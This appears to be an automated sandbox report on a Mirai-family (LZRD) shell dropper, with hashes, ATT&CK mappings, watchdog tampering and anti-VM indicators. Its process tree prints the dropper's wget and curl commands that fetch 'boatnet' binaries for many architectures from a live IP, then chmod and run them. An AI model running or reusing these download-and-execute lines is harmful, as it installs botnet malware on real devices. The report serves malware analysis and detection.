mirai | 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0

Analysis

max time kernel
148s
max time network
145s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/05/2026, 14:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
Size 2KB
Sample260531-rn8tfaas2z
SHA256 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0
MD5 c7b29d1b75100c258c0ee61a7a942e80
SHA1 0c1e287240fe0db5fc9bf6c8bb1ddf24bba0baf3
SHA512 2d6fd6b73743bde5faaa4a8b25ded5177593c98e9a3cde65ae6f48b3a072add0e41f896541a07d3a0fa38a8c8530f8acaebfbf8cd98787f275508165125b7f71
TLSH
T1F3518CC581145D341DAF6B37E6F6513C30819063A8EAEF85D9E7BAE88B4EC9C7940723
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet lzrd defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
815	chmod
827	chmod
671	chmod
781	chmod
802	chmod
807	chmod
833	chmod
758	chmod
764	chmod
789	chmod
797	chmod
722	chmod
769	chmod
775	chmod
821	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	672	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	723	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	759	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	765	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	770	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	776	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	782	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	790	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	798	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	803	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	808	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	816	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	822	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	828	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/WTF	834	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-5.dat	upx

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/842/cmdline	WTF
File opened for reading	/proc/844/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/848/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/579/cmdline	WTF
File opened for reading	/proc/852/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/825/cmdline	WTF
File opened for reading	/proc/640/cmdline	WTF
File opened for reading	/proc/852/cmdline	WTF
File opened for reading	/proc/793/cmdline	WTF
File opened for reading	/proc/818/cmdline	WTF
File opened for reading	/proc/846/cmdline	WTF
File opened for reading	/proc/864/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/579/cmdline	WTF
File opened for reading	/proc/641/cmdline	WTF
File opened for reading	/proc/850/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/640/cmdline	WTF
File opened for reading	/proc/658/cmdline	WTF
File opened for reading	/proc/658/cmdline	WTF
File opened for reading	/proc/791/cmdline	WTF
File opened for reading	/proc/831/cmdline	WTF
File opened for reading	/proc/850/cmdline	WTF
File opened for reading	/proc/632/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/564/cmdline	WTF
File opened for reading	/proc/574/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/860/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/572/cmdline	WTF
File opened for reading	/proc/811/cmdline	WTF
File opened for reading	/proc/856/cmdline	WTF
File opened for reading	/proc/862/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/638/cmdline	WTF
File opened for reading	/proc/831/cmdline	WTF
File opened for reading	/proc/842/cmdline	WTF
File opened for reading	/proc/854/cmdline	WTF
File opened for reading	/proc/632/cmdline	WTF
File opened for reading	/proc/637/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/574/cmdline	WTF
File opened for reading	/proc/596/cmdline	WTF
File opened for reading	/proc/844/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
674	wget
697	curl
721	cat

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/WTF	42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.x86_64	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i686	wget
File opened for modification	/tmp/boatnet.arm5	curl

/tmp/42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
/tmp/42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:641
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:649
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:669
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:670
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.x86 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/WTF
  ./WTF
  2⤵
  PID:672
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:674
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:697
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:721
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.mips boatnet.x86 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/WTF
  ./WTF
  2⤵
  PID:723
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:725
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:757
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.mips boatnet.x86 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/WTF
  ./WTF
  2⤵
  PID:759
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.i468
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:763
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/WTF
  ./WTF
  2⤵
  PID:765
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:766
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:768
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/WTF
  ./WTF
  2⤵
  PID:770
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:772
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:774
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/WTF
  ./WTF
  2⤵
  PID:776
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:778
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:780
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/WTF
  ./WTF
  2⤵
  PID:782
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:784
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:788
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/WTF
  ./WTF
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:790
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:794
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:796
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/WTF
  ./WTF
  2⤵
  PID:798
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:799
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:801
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/WTF
  ./WTF
  2⤵
  - Reads runtime system information
  PID:803
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:804
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:806
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/WTF
  ./WTF
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:808
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:812
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:814
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/WTF
  ./WTF
  2⤵
  PID:816
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:818
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:820
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/WTF
  ./WTF
  2⤵
  PID:822
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:824
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:826
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/WTF
  ./WTF
  2⤵
  PID:828
- /usr/bin/wget
  wget http://142.252.220.133/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://142.252.220.133/hiddenbin/boatnet.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:832
- /bin/chmod
  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 systemd-private-b77a2bacaf78404fb055043afe4b5779-systemd-timedated.service-tlw0eB WTF
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/WTF
  ./WTF
  2⤵
  PID:834

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WTF

Path /tmp/WTF
Size 23KB
SHA256 610a9411cbab1f3c5da032961b34a4e2d86a51aff03b23fcaa38de68ad8211c0
MD5 45d75dd95dcea6e4467897780a3ef164
SHA1 1d4ef44158af42f352abd9e1092f74c2d320bad2
SHA512 cc59265e6a9756e93e2dec2acdee2ee3dbc3168c36da69a02160631e054590baba7eee9a87db86a1c6fe74a39e88cdf664fbfd3450f3985111d090f6dedef6c1
SSDEEP 384:YeD8ZSH2LLZUYyGZbsOiTrowSN9rnZMINlphQ/HYtuibSKmdtJgGlzDpH7uNj1JT:YeD8ZSWvZHZbs1row697qohQvg9zitJ6
TLSH
T1FEB2D03C1B150B98DA1EC1BE83991B503CF81F359182AD8B6207EDD7AF968747453BE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 105KB
SHA256 66f3340b63c8ad6ae0d917fead94e2b4c5fd222616f15522bb5d9dafbdc88a09
MD5 07cc8fdff5b170591e5e7812621d0cd7
SHA1 30c29b2de517e89bb06ada7041de4bbcbf42066b
SHA512 22c78728a85d64511a1357b8be82b342fef62fe0442ae3ea02e2561689b61bbe362ffb6c5648b26cafe11d8f3e4a0fb773a59631960362544dc3ee93d9afb78a
SSDEEP 1536:Fu27gBY9FSSpj3z5Qxw6YaWWgg1g/LWy:c9sSyzz36YaWWgg1gq
TLSH
T1F0B39CDBF24701A0C8624AF007CB4BED3E2723815F27C5E72C6A657969791CF8906F96
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 196B
SHA256 80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880
MD5 62962daa1b19bbcc2db10b7bfd531ea6
SHA1 d64bae91091eda6a7532ebec06aa70893b79e1f8
SHA512 9002a0475fdb38541e78048709006926655c726e93e823b84e2dbf5b53fd539a5342e7266447d23db0e5528e27a19961b115b180c94f2272ff124c7e5c8304e7
TLSH
T1C0D0129E9183638B442225907AC211D2654D13A6B87645E82D82A48A951857DC5CA69D
MD5 SHA1 SHA512 TLSH

Submit Download

WTF

Path /tmp/WTF
Size 57KB
SHA256 b1b408b3e739090bb9dc275173add3e3a519bbb397fabf9f00aa39d91b2e5cf2
MD5 7f45d561a82fce3144c0e5ce5d0247d3
SHA1 2f427b151217f5b4c92425599a37cb33d468d01d
SHA512 87b7923beb1eec517f442e7a9c645e8ab015f8797604fe9fd0dbbe5a6e45d61e5d38dce992cb8e39eeb93387b8a41c5e8bcad204de919d7cd3492b26d260438b
SSDEEP 768:Oa2vU7eng2qGJert7LrLMU6fgatQh+YbT/9+m3CZQoV/bnmCozw8Gw:Oa4U7G7SvT6ftBTm3KVrmCo8pw
TLSH
T199435B35E0299E90C54B0238A0D89F751F23F1C853476EB72BF546B2A863968FA05FF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boatnet.x86

Path /tmp/boatnet.x86
Size 20KB
SHA256 0729748a1806017df4751adc22f8249c42845a5f1d4818b5c2cb1481675f50bc
MD5 379b3f0ca1864a676b49b9c361b7f4ad
SHA1 abd368ed69d90091869d4ad3a3d9891eb7e7d641
SHA512 10473258ef949c29f554b73b49b53b4743184ee2469294935a96c82eb05a49705291f5a438dc9699f9eb795de01f956bccc866e4b6a6002ab9839644aaaafcc5
SSDEEP 384:M0hLpj8s/qPui8uZxoIA57RWQjJiEVi+ZkXaHhib+502F2vwA9dWuMW21bAK1oTG:T98o08kxofBE+ZkXaEbp2F2TWul0c5Q/
TLSH
T1DEA2E155BF1882CBCC32293541D9E6E22253FC62F2EDCC492540C12FF5A33A96470F8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads